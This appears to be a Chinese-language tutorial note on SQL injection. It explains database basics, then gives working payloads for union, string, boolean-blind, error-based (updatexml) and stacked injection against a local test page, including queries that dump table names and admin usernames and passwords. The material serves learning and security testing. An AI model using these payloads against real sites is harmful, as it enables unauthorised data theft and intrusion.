sql注入
sql是一门语言,通过sql语句可以快速实现数据的增上改查
CURD
就是指对数据的增删改查
- Create 增
- Delete 删
- Update 改
- Read 查
什么是数据库
- 关系型数据库
- 非关系型数据库
关系型数据库
把所有的数据变为表格存放
常见有
- Oracle
- Mysql/MariaDB
- SQLServer
- Access mdb文件,mdb在网站目录
- Sqlite
非关系型数据库
- sns 社交软件 web2.0 所有内容 由用户产生 并 由用户消费
nosql数据库
- Membase
- MongoDB
sql注入的危害
- 歪曲了sql语句的执行结果
- 泄露了数据库中的敏感数据
- 干扰查询结果,劫持查询的流程,绕过了权限检查
- 通过文件操作写入恶意代码,可能造成rce
sql注入的类型
类型一:数字型注入和union 注入
http://127.0.0.1/page_detail.php?id=1 union select 1,(select password from user where username='admin'),3 limit 1,2
类型二:字符型注入
前面闭合 后面注释 来逃逸出单引号或者双引号
http://127.0.0.1/page_detail.php?id=1' union select 1,(select password from user where username='admin'),3 limit 1,2%23
查所有表
http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,2%23
查所有列
http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),3 limit 1,2%23
查敏感数据
http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(username,'-',password) from user),3 limit 1,2%23
- 注释两种形式 # --空格
类型三: Boolean 布尔盲注
- 条件:没有明显的回显点。只有得到两个结果,如果执行正常,页面不报错,执行不正常,页面报错
- 我们执行了我们自定义的sql语句,如果语句是正确的,或者说,语句内我们的猜测是正确的,就返回正常或者特定页面,否则返回错误页面或者其他特定页面
- 当我们猜对(sql执行正常情况下,页面没有报错)
- 当我们猜错(sql执行不下去情况下,页面报错)
基于上面原理,我们可以发送大量请求,来猜测我们需要的数据
类型四: 报错注入
- 没有明显的回显点
- 有mysql执行sql语句的报错信息
a. 利用updatexml
函数来强制报错,带出我们的查询结果
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=databases()),'^'),1)%23&password=123123
b. extractvalue
和updatexml
功能一样,也是通过报错带出查询数据用
c. 整数溢出报错 exp pow cot
d. 不存在函数报错
类型五: 堆叠注入
我们控制的语句,可以执行多条sql
注意点:
需要后台代码支持多条语句执行,而这个支持,需要不同于上面的代码写法
如果可以堆叠,应该首先考虑 存储进程 set @a=b
存储过程 类似于shell
函数 可以自定义函数